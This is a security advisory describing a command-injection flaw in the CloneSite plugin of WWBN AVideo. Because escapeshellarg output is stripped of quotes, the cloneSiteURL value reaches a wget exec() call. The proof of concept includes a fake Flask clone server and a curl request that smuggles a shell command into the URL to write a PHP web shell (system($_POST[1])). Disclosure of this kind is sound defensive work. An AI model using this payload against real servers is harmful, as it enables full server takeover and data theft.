Description

WWBN AVideo: RCE cause by clonesite plugin Description

Summary

The cloneServer.json.php endpoint in the CloneSite plugin constructs shell commands using user-controlled input (url parameter) without proper sanitization. The input is directly concatenated into a wget command executed via exec(), allowing command injection.

An attacker can inject arbitrary shell commands by breaking out of the intended URL context using shell metacharacters (e.g., ;). This leads to Remote Code Execution (RCE) on the server.

Details

Inside plugin/CloneSite/cloneClient.json.php(line112) didn't have proper sanitization

$objClone->cloneSiteURL = str_replace("'", '', escapeshellarg($objClone->cloneSiteURL));

use str_replace make ' added by escapeshellarg become so hacker can inject evil cloneSiteURL to rce

$sqlURL = "{$objClone->cloneSiteURL}videos/clones/{$json->sqlFile}"; \\116
$cmd = "wget -O {$sqlFile} {$sqlURL}"; \\117
exec($cmd . " 2>&1", $output, $return_val);                 \\119

The attack flow

make a evil site to provide date

add evil url in objects/pluginAddDataObject.json.php

access plugin/CloneSite/cloneClient.json.php to trigger rce

Poc

make a evil site use python like this

from flask import Flask, jsonify, request

app = Flask(__name__)

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def catch_all(path):
    print("PATH:", path)...
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change url with payload like (need admin)

curl -b 'PHPSESSID=<admin_session>'
-X POST "http://127.0.0.1/objects/pluginAddDataObject.json.php" \
  -H "Content-Type: application/json" \
  -d '{
    "cloneSiteURL":"http://127.0.0.1:8071/;echo${IFS}\"<?=system(\\$_POST[1])?>\"${IFS}>1.php;/",
    "cloneSiteSSHIP":"127.0.0.1",
    "cloneSiteSSHUser":"1",
    "cloneSiteSSHPort":"22",...
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this payload is to create a web shell

then access plugin/CloneSite/cloneClient.json.php

1.phpwill be created

impact

Remote Code Execution: An attacker can write arbitrary PHP code to any writable web-accessible directory, achieving full server compromise.

Full server compromise: With arbitrary PHP execution as the web server user, the attacker can read/modify the database, access all user data, pivot to other services, and potentially escalate privileges on the host.

Recommended Fix

add more powerful sanitization for $objClone->cloneSiteURL

Mitigation

Aliases

References